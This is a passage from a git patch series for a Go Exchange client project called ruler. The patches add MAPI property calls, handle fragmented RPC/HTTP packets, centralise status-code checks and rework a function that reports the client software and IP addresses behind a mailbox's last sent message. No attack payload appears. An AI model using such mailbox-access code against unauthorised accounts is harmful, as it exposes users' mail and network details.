[]byte) (*RopGetPropertiesListResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandle = 0x00 + getMessage.OutputHandle = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropertyIds := RopGetPropertiesListRequest{RopID: 0x09, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + + fullReq = append(fullReq, getPropertyIds.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } + + var p int + var e error + + getMessageResponse := RopOpenMessageResponse{} + + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + bufPtr += p + + getPropertyIdsResp := RopGetPropertiesListResponse{} + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropertyIdsResp, e + } + + return nil, ErrUnknown +} + //GetPropertyNamesFromID returns the property names for a set of ids func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (*RopGetNamesFromPropertyIdsResponse, error) { @@ -2203,7 +2260,7 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie getPropertiesAll.RopID = 0x08 getPropertiesAll.LogonID = AuthSession.LogonID getPropertiesAll.InputHandle = 0x01 - getPropertiesAll.PropertySizeLimit = 0xFFFF + getPropertiesAll.PropertySizeLimit = 0x00 getPropertiesAll.WantUnicode = 0x01 fullReq = append(fullReq, getPropertiesAll.Marshal()...) } @@ -2227,9 +2284,6 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie bufPtr := 10 var p int var e error - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } //fmt.Println(execResponse.RopBuffer[bufPtr:]) diff --git a/ruler.go b/ruler.go index afb5b10..2ab9f91 100644 --- a/ruler.go +++ b/ruler.go @@ -974,19 +974,12 @@ func checkLastSent() error { //for some reason getting named property tags isn't working for me. Maybe I'm an idiot //so lets simply grab all tags. And then filter until we find one that starts with Client= - buff, err := mapi.GetMessage(folderId, messageid, nil) - if err != nil { - return err - } + buff, err := mapi.GetPropertyIdsList(folderId, messageid) var props []byte idcount := 0 - - propRows := buff.GetData() - - //Get property names for rows - for _, row := range propRows { - props = append(props, row.PropID...) + for _, prop := range buff.PropertyTags { + props = append(props, utils.EncodeNum(prop.PropertyID)...) idcount++ } @@ -996,32 +989,58 @@ func checkLastSent() error { return e } + var getProps []mapi.PropertyTag + var clientPropID uint16 + var clientIPPropID uint16 + var serverIPPropID uint16 + for i, p := range propNames.PropertyNames { if p.Kind == 0x01 { pName := utils.FromUnicode(p.Name) if pName == "ClientInfo" { - clstring := utils.FromUnicode(propRows[i].ValueArray) - if clstring[7:10] == "OWA" { - utils.Warning.Printf("Last message sent from OWA! User-Agent: %s\n", clstring[11:]) - } else { - utils.Info.Printf("Last message sent from: %s\n", clstring[7:]) - } + getProps = append(getProps, buff.PropertyTags[i]) + clientPropID = buff.PropertyTags[i].PropertyID } else if pName == "x-ms-exchange-organization-originalclientipaddress" { - utils.Info.Printf("Client IP Address: %s\n", utils.FromUnicode(propRows[i].ValueArray)) + getProps = append(getProps, buff.PropertyTags[i]) + clientIPPropID = buff.PropertyTags[i].PropertyID } else if pName == "x-ms-exchange-organization-originalserveripaddress" { - utils.Info.Printf("Exchange Server IP: %s\n", utils.FromUnicode(propRows[i].ValueArray)) + getProps = append(getProps, buff.PropertyTags[i]) + serverIPPropID = buff.PropertyTags[i].PropertyID + } + } else { + if buff.PropertyTags[i].PropertyID == 0x0039 { + getProps = append(getProps, buff.PropertyTags[i]) } - } - if utils.DecodeUint16(propRows[i].PropID) == 0x0039 { - t := (utils.DecodeUint64(propRows[i].ValueArray) - 116444736000000000) * 100 + + } + messageProps, err := mapi.GetMessage(folderId, messageid, getProps) + if err != nil { + return err + } + + for _, row := range messageProps.GetData() { + + id := utils.DecodeUint16(row.PropID) + switch id { + case 0x0039: + t := (utils.DecodeUint64(row.ValueArray) - 116444736000000000) * 100 x := time.Unix(0, int64(t)) utils.Info.Printf("Last Message sent at: %s \n", x.UTC()) + case clientPropID: + clstring := utils.FromUnicode(row.ValueArray) + if clstring[6:9] == "OWA" { + utils.Warning.Printf("Last message sent from OWA! User-Agent: %s\n", clstring[10:]) + } else { + utils.Info.Printf("Last message sent from: %s\n", clstring[6:]) + } + case clientIPPropID: + utils.Info.Printf("Client IP Address: %s\n", utils.FromUnicode(row.ValueArray)) + case serverIPPropID: + utils.Info.Printf("Exchange Server IP: %s\n", utils.FromUnicode(row.ValueArray)) } } - return nil - } func main() { From 2dab7fb37cabb5da950525b9b3d2f598db97b3fe Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 7 Sep 2017 15:57:09 +0200 Subject: [PATCH 18/35] This changes RPC/HTTP to deal with fragmented packets. This is a little hacky at the moment and won't work if the RPC packet response is fragmented across more than 2 packets. Main reason for this change was to get ```check --last``` working with RPC/HTTP. The GetPropertyNamesFromID function would call RopGetNamesFromPropertyIdsRequest which returned a result larger than 4096 - this means it is larger than the max RPC packet size and got fragmented over two RPC packets. A new check was added to verify if the PFCFlag had been set to 1 -- indicating a fragmented packet. This packet would not be returned to the client until a second packet with the same call ID, and PFCFlags set to 2 was received. Once the second packet was received, the RPC.PDU data would be updated to include the PDU data from the second, fragmented, packet. The first packet would then be updated to have PFCFlags value of 3, allowing it to be released by the message queue. This should not break anything that has been working up until now. And should hopefully help with future features. A second, minor fix, was added for the ```homepage``` function. The ```homepage display``` function was causing a crash when viewed with RPC/HTTP. This did not crash with MAPI/HTTP, despite the packets being identical. A check was added to make sure the packet is of sufficient size to be parsed, which now stops the index out of bounds error. --- mapi/datastructs.go | 13 +++++++++++-- mapi/mapi.go | 1 + rpc-http/rpctransport.go | 23 +++++++++++++++++++---- ruler.go | 12 +++++------- 4 files changed, 36 insertions(+), 13 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 016d298..c0231df 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1,6 +1,8 @@ package mapi import ( + "fmt" + "github.com/sensepost/ruler/utils" ) @@ -1433,9 +1435,12 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { execResponse.Flags, pos = utils.ReadUint32(pos, resp) execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) if len(resp) < pos+int(execResponse.RopBufferSize) { - return nil + //buf, pos = utils.ReadBytes(pos, (len(resp)-pos)+8, resp) + //execResponse.RopBuffer = buf + //execResponse.AuxilliaryBufSize = uint32(0) + return fmt.Errorf("Packet size mismatch. RopBuffer Size %d, got packet of %d", execResponse.RopBufferSize, len(resp)) } - buf, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize), resp) + buf, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)+1, resp) execResponse.RopBuffer = buf execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) @@ -2342,6 +2347,10 @@ func (wvpObjectStream *WebViewPersistenceObjectStream) Unmarshal(resp []byte) (i wvpObjectStream.Type, pos = utils.ReadUint32(pos, resp) wvpObjectStream.Flags, pos = utils.ReadUint32(pos, resp) wvpObjectStream.Reserved, pos = utils.ReadBytes(pos, 28, resp) + + if pos >= len(resp) { + return pos, nil + } wvpObjectStream.Size, pos = utils.ReadUint32(pos, resp) if wvpObjectStream.Size > 0 { diff --git a/mapi/mapi.go b/mapi/mapi.go index be251a5..02bfb8b 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -134,6 +134,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { } } //debug flag + //utils.Debug.Printf("%s\n", hex.Dump(rawResp)) //utils.Debug.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) diff --git a/rpc-http/rpctransport.go b/rpc-http/rpctransport.go index 6552042..7fe331e 100644 --- a/rpc-http/rpctransport.go +++ b/rpc-http/rpctransport.go @@ -239,7 +239,21 @@ func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) ( r.Unmarshal(b) r.Body = b mutex.Lock() //lets be safe, lock the responses array before adding a new value to it - responses = append(responses, r) + + //if the PFCFlag is set to 2, this packet is fragment of the previous packet + //take the PDU of this packet and append it to our previous packet + if r.Header.PFCFlags == uint8(2) { + for k, v := range responses { + if v.Header.CallID == r.Header.CallID { + responses[k].PDU = append(v.PDU, r.PDU...) + responses[k].Header.PFCFlags = 3 + break + } + } + } else { + responses = append(responses, r) + } + mutex.Unlock() } } @@ -450,7 +464,7 @@ func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { req := RTSRequest{} req.Header = header - req.MaxRecv = 0x0000 + req.MaxRecv = 0x1000 req.Command = []byte{0x00, 0x00, opnum, 0x00} //command 10 pdu := PDUData{} @@ -461,7 +475,7 @@ func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { pdu.Data = MAPI pdu.CbAuxIn = uint32(auxlen) - pdu.AuxOut = 0x000001008 + pdu.AuxOut = 0x000001000 req.PduData = pdu.Marshal() //MAPI req.MaxFrag = uint16(len(pdu.Marshal()) + 24) @@ -540,7 +554,8 @@ func RPCRead(callID int) (RPCResponse, error) { stop := false for stop != true { for k, v := range responses { - if v.Header.CallID == uint32(callID) { + //if the PFCFlags is set to 1, this is a fragmented packet. wait to update it first + if v.Header.CallID == uint32(callID) && v.Header.PFCFlags != 1 { responses = append(responses[:k], responses[k+1:]...) stop = true c <- v diff --git a/ruler.go b/ruler.go index 2ab9f91..0168688 100644 --- a/ruler.go +++ b/ruler.go @@ -957,8 +957,8 @@ func checkLastSent() error { //Using the ClientInfo tag, we check who if this message was sent from Outlook or OWA //get the PropTag for ClientInfo - folderId := mapi.AuthSession.Folderids[mapi.SENT] - rows, err := mapi.GetContents(folderId) + folderid := mapi.AuthSession.Folderids[mapi.SENT] + rows, err := mapi.GetContents(folderid) if err != nil { return err @@ -968,13 +968,11 @@ func checkLastSent() error { return fmt.Errorf("Sent folder is empty") } //get most recent message - - //messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) messageid := rows.RowData[0][1].ValueArray //for some reason getting named property tags isn't working for me. Maybe I'm an idiot //so lets simply grab all tags. And then filter until we find one that starts with Client= - buff, err := mapi.GetPropertyIdsList(folderId, messageid) + buff, err := mapi.GetPropertyIdsList(folderid, messageid) var props []byte idcount := 0 @@ -983,7 +981,7 @@ func checkLastSent() error { idcount++ } - propNames, e := mapi.GetPropertyNamesFromID(folderId, messageid, props, idcount) + propNames, e := mapi.GetPropertyNamesFromID(folderid, messageid, props, idcount) if e != nil { return e @@ -1014,7 +1012,7 @@ func checkLastSent() error { } } - messageProps, err := mapi.GetMessage(folderId, messageid, getProps) + messageProps, err := mapi.GetMessage(folderid, messageid, getProps) if err != nil { return err } From a60ae793559af4bfa41de31eb037e295f8466332 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 7 Sep 2017 19:22:03 +0200 Subject: [PATCH 19/35] A refactor to remove status code checking from each function. This can be done in the sendMapiRequest function and apply to all ROPS. Should help avoid overflows and missed checks. This still needs testing --- mapi/constants.go | 4 + mapi/datastructs.go | 22 + mapi/mapi.go | 1379 ++++++++++++++++++++----------------------- utils/logging.go | 4 +- 4 files changed, 657 insertions(+), 752 deletions(-) diff --git a/mapi/constants.go b/mapi/constants.go index a9dd371..d513454 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -34,6 +34,10 @@ var ( ErrUnknown = errors.New("mapi: an unhandled exception occurred") //ErrNotAdmin when attempting to get admin access to a mailbox ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin") + //ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens.. + ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP") + //ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out + ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.") ) const ( diff --git a/mapi/datastructs.go b/mapi/datastructs.go index c0231df..8f81daf 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -919,6 +919,13 @@ type RopModifyRulesRequest struct { RuleData RuleData } +//RopModifyRulesResponse struct +type RopModifyRulesResponse struct { + RopID uint8 //0x41 + InputHandleIndex uint8 //0x41 + ReturnValue uint32 +} + //RopGetRulesTableResponse strcut type RopGetRulesTableResponse struct { RopID uint8 @@ -2074,6 +2081,21 @@ func (commitStreamResponse *RopCommitStreamResponse) Unmarshal(resp []byte) (int return pos, nil } +//Unmarshal function to produce RopCommitStreamResponse struct +func (modRulesResp *RopModifyRulesResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + modRulesResp.RopID, pos = utils.ReadByte(pos, resp) + modRulesResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + modRulesResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if modRulesResp.ReturnValue != 0 { + return pos, &ErrorCode{modRulesResp.ReturnValue} + } + + return pos, nil +} + //Unmarshal func func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index 02bfb8b..dc17430 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -3,6 +3,7 @@ package mapi import ( "bytes" "crypto/tls" + "encoding/hex" "fmt" "io/ioutil" "net/http" @@ -138,6 +139,16 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { //utils.Debug.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) + + if len(executeResponse.RopBuffer) == 0 { + return nil, ErrEmptyBuffer + } + + if executeResponse.ErrorCode == 255 { + utils.Debug.Printf("%s\n", hex.Dump(rawResp)) + return nil, ErrNonZeroStatus + } + return &executeResponse, nil } @@ -433,30 +444,27 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { execRequest.RopBuffer.ROP.RopsList = logonBody.Marshal() execResponse, err := sendMapiRequest(execRequest) - + //need to verify admin here... if err != nil { + if execResponse.StatusCode != 255 && AuthSession.Admin { + return nil, ErrNotAdmin + } return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - AuthSession.Authenticated = true + AuthSession.Authenticated = true - logonResponse := RopLogonResponse{} - logonResponse.Unmarshal(execResponse.RopBuffer) - if len(logonResponse.FolderIds) == 0 { - if AuthSession.Admin { - return nil, fmt.Errorf("Unable to retrieve mailbox as admin") - } - return nil, fmt.Errorf("Unable to retrieve mailbox as user") + logonResponse := RopLogonResponse{} + logonResponse.Unmarshal(execResponse.RopBuffer) + utils.Info.Println(logonResponse) + if len(logonResponse.FolderIds) == 0 { + if AuthSession.Admin { + return nil, ErrNotAdmin //fmt.Errorf("Unable to retrieve mailbox as admin") } - specialFolders(logonResponse.FolderIds) - return &logonResponse, nil - } - if AuthSession.Admin { - return nil, ErrNotAdmin + return nil, fmt.Errorf("Unable to retrieve mailbox as user") } - - return nil, ErrUnknown + specialFolders(logonResponse.FolderIds) + return &logonResponse, nil } //Disconnect function to be nice and disconnect us from the server @@ -494,15 +502,12 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - ropReleaseResponse := RopReleaseResponse{} - if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { - return nil, e - } - return &ropReleaseResponse, nil + ropReleaseResponse := RopReleaseResponse{} + if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e } + return &ropReleaseResponse, nil - return nil, ErrUnknown } //ReadPerUserInformation issues a RopReleaseRequest to free a server handle to an object @@ -526,15 +531,12 @@ func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - readResponse := RopReadPerUserInformationResponse{} - if _, e := readResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { - return nil, e - } - return &readResponse, nil + readResponse := RopReadPerUserInformationResponse{} + if _, e := readResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e } + return &readResponse, nil - return nil, ErrUnknown } //GetLongTermIDFromID issues a request for the long term ID of an Object @@ -556,15 +558,12 @@ func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - longTermResponse := RopLongTermIDFromIDResponse{} - if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { - return nil, e - } - return &longTermResponse, nil + longTermResponse := RopLongTermIDFromIDResponse{} + if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e } + return &longTermResponse, nil - return nil, ErrUnknown } //SendExistingMessage sends a message that has already been created. This is essentially a RopSubmitMessage @@ -635,33 +634,29 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error - - getMessageResponse := RopOpenMessageResponse{} + bufPtr := 10 + var p int + var e error - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getMessageResponse := RopOpenMessageResponse{} - bufPtr += p - modRecipients := RopModifyRecipientsResponse{} - if p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - return &submitMessageResp, nil + bufPtr += p + modRecipientsResponse := RopModifyRecipientsResponse{} + if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + submitMessageResp := RopSubmitMessageResponse{} + if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &submitMessageResp, nil + } //SendMessage func to create a new message on the Exchange server @@ -758,39 +753,34 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error - - createMessageResponse := RopCreateMessageResponse{} + bufPtr := 10 + var p int + var e error - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + createMessageResponse := RopCreateMessageResponse{} - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - bufPtr += p - modRecipients := RopModifyRecipientsResponse{} - if p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - return &submitMessageResp, nil + bufPtr += p + modRecipientsResponse := RopModifyRecipientsResponse{} + if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p + submitMessageResp := RopSubmitMessageResponse{} + if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &submitMessageResp, nil } //SetMessageStatus is used to create a message on the exchange server @@ -826,18 +816,14 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 + bufPtr := 10 - setStatusResp := RopSetMessageStatusResponse{} + setStatusResp := RopSetMessageStatusResponse{} - if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - return &setStatusResp, nil + if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - - return nil, ErrUnknown + return &setStatusResp, nil } @@ -881,31 +867,27 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { + bufPtr := 10 - bufPtr := 10 + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } + var p int + var e error - var p int - var e error + getMessageResponse := RopOpenMessageResponse{} - getMessageResponse := RopOpenMessageResponse{} + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + bufPtr += p - bufPtr += p + getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropertyIdsResp, e - getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &getPropertyIdsResp, e - } - - return nil, ErrUnknown } //GetPropertyIdsList returns the list of properties on a message @@ -938,31 +920,27 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 + bufPtr := 10 - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } - var p int - var e error + var p int + var e error - getMessageResponse := RopOpenMessageResponse{} + getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - getPropertyIdsResp := RopGetPropertiesListResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &getPropertyIdsResp, e - } + getPropertyIdsResp := RopGetPropertiesListResponse{} + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropertyIdsResp, e - return nil, ErrUnknown } //GetPropertyNamesFromID returns the property names for a set of ids @@ -997,30 +975,27 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { + bufPtr := 10 - bufPtr := 10 + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - var p int - var e error + var p int + var e error - getMessageResponse := RopOpenMessageResponse{} + getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} - _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &getPropNamesResp, e - } + getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} + _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropNamesResp, e - return nil, ErrUnknown } //SetSearchCriteria function is used to set the search criteria on a folder or set of folders @@ -1058,29 +1033,25 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - openFolderResponse := RopOpenFolderResponse{} + openFolderResponse := RopOpenFolderResponse{} - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - - setCriteriaResponse := RopSetSearchCriteriaResponse{} + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + setCriteriaResponse := RopSetSearchCriteriaResponse{} - return &setCriteriaResponse, nil + if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &setCriteriaResponse, nil + } //GetSearchCriteria function is used to set the search criteria on a folder or set of folders @@ -1114,29 +1085,25 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - openFolderResponse := RopOpenFolderResponse{} - - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} - getCriteriaResponse := RopGetSearchCriteriaResponse{} + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + getCriteriaResponse := RopGetSearchCriteriaResponse{} - return &getCriteriaResponse, nil + if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &getCriteriaResponse, nil + } //SetFolderProperties is used to set one or more properties on a folder @@ -1175,27 +1142,23 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - openFolderResponse := RopOpenFolderResponse{} + bufPtr := 10 + var p int + var e error - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + openFolderResponse := RopOpenFolderResponse{} - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - return &propertiesResponse, nil + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - return nil, ErrUnknown + return &propertiesResponse, nil } @@ -1257,32 +1220,29 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error + bufPtr := 10 + var p int + var e error - createMessageResponse := RopCreateMessageResponse{} + createMessageResponse := RopCreateMessageResponse{} - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } + propertiesResponse := RopSetPropertiesResponse{} + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } - bufPtr += p + bufPtr += p - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + saveMessageResponse := RopSaveChangesMessageResponse{} + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - return &saveMessageResponse, e - } + return &saveMessageResponse, e - return nil, ErrUnknown } //CreateMessageAttachment creates the attachment object for a message. If the message is attached by reference, @@ -1349,50 +1309,46 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp return nil, &TransportError{err} } - if execResponse.StatusCode != 255 { - bufPtr := 10 - var p int - var e error - - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p + bufPtr := 10 + var p int + var e error - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { - return nil, e - } - 